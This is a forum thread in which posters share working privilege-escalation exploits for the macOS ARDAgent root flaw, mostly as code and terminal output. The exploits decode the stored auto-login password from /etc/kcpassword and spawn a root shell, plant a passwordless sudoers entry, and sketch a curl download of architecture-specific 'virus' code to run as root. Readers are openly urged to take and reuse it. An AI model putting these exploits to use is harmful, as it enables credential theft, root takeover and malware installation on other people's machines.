        tell application "ARDAgent" to do shell script "declare -i offset=0 i=0;declare -a keys=(7d 89 52 23 d2 bc dd ea a3 b9 1f) hexbytes=($(hexdump -v -e '/1 \"%02X \"' /etc/kcpassword));for ((offset=0;offset<${#hexbytes[*]};offset++));do newbyte=$(printf '%02X' $((16#${keys[${i}]}^16#${hexbytes[$offset]})));[ \"${newbyte}\" == \"00\" ]&&echo&&break;echo -en \"\\x${newbyte}\";let i+=1;[ $i -gt 10 ]&&let i=0;done"
        set kcpassword to the result
    on error
        get_autologin_password()
    end try
end get_autologin_password

get_autologin_password()
tell application "Terminal" to do script "echo " & quoted form of kcpassword & " | /usr/bin/sudo -S id; exec /usr/bin/sudo /bin/bash -i"

Oh and incidentally, please steal this code! :) And anything else I've posted too, take it, use it, claim it, improve it, rewrite it, post it!
Skratz0r
QUOTE
... In other areas, /Library/Receipts is BEGGING to be exploited ...

How?
callmenames
When Disk Utility (GUI) or diskutil (command line) performs a repair permissions, it reads what the proper permissions should be from the receipts stored in /Library/Receipts. This has been posted in various place on the Interweb for years. This gentleman did a nice bit of work in the area recently: http://blogs.sun.com/jone/entry/apple_s_ardagent_suid_hole :)
Skratz0r
You could always do something of this elk...

CODE
-- Downloads an architecture specific virus
set arch to get text of (do shell script "uname -p")
do shell script "curl http://somehost.com/game-" & arch
-- Tell ARDagent to execute the virus game-<arch> as root here


The problem would be finding where to host it, though.

~ Skrat
callmenames
QUOTE
As you may have read, this flaw is not capable of being exploited remotely

http://theappleblog.com/2008/06/24/unpatch...ommunity-fixes/

Izzat so?

CODE
$ ssh angel@localhost
Password:
Last login: Wed Jun 25 06:16:21 2008
Welcome to Darwin!
$ osacompile -e 'global my_username' -e 'set my_username to system attribute "USER"' -e 'on sudoers()' -e 'try' -e 'tell application "ARDAgent" to do shell script "echo \"" & my_username & (ASCII character 9) & "ALL=(ALL)" & (ASCII character 9) & "NOPASSWD: ALL\" >> /etc/sudoers"' -e 'on error' -e 'sudoers()' -e 'end try' -e 'end sudoers' -e 'sudoers()' -o for_remote_cli_sessions.app
$ open for_remote_cli_sessions.app/
$ sudo cat /etc/sudoers
# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers file.
#

# Host alias specification

# User alias specification

# Cmnd alias specification

# Defaults specification

# Runas alias specification

# User privilege specification
root    ALL=(ALL) ALL
%admin  ALL=(ALL) ALL

# Uncomment to allow people in group wheel to run all commands
# %wheel        ALL=(ALL)       ALL

# Same thing without a password
# %wheel        ALL=(ALL)       NOPASSWD: ALL

# Samples
# %users  ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users  localhost=/sbin/shutdown -h now
angel   ALL=(ALL)       NOPASSWD: ALL
$


Yet another clueless Interweb news reporter.

Skratz0r
Not everyone has SSH access to the box they want to root, callmenames.
~_~
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2010 Invision Power Services, Inc.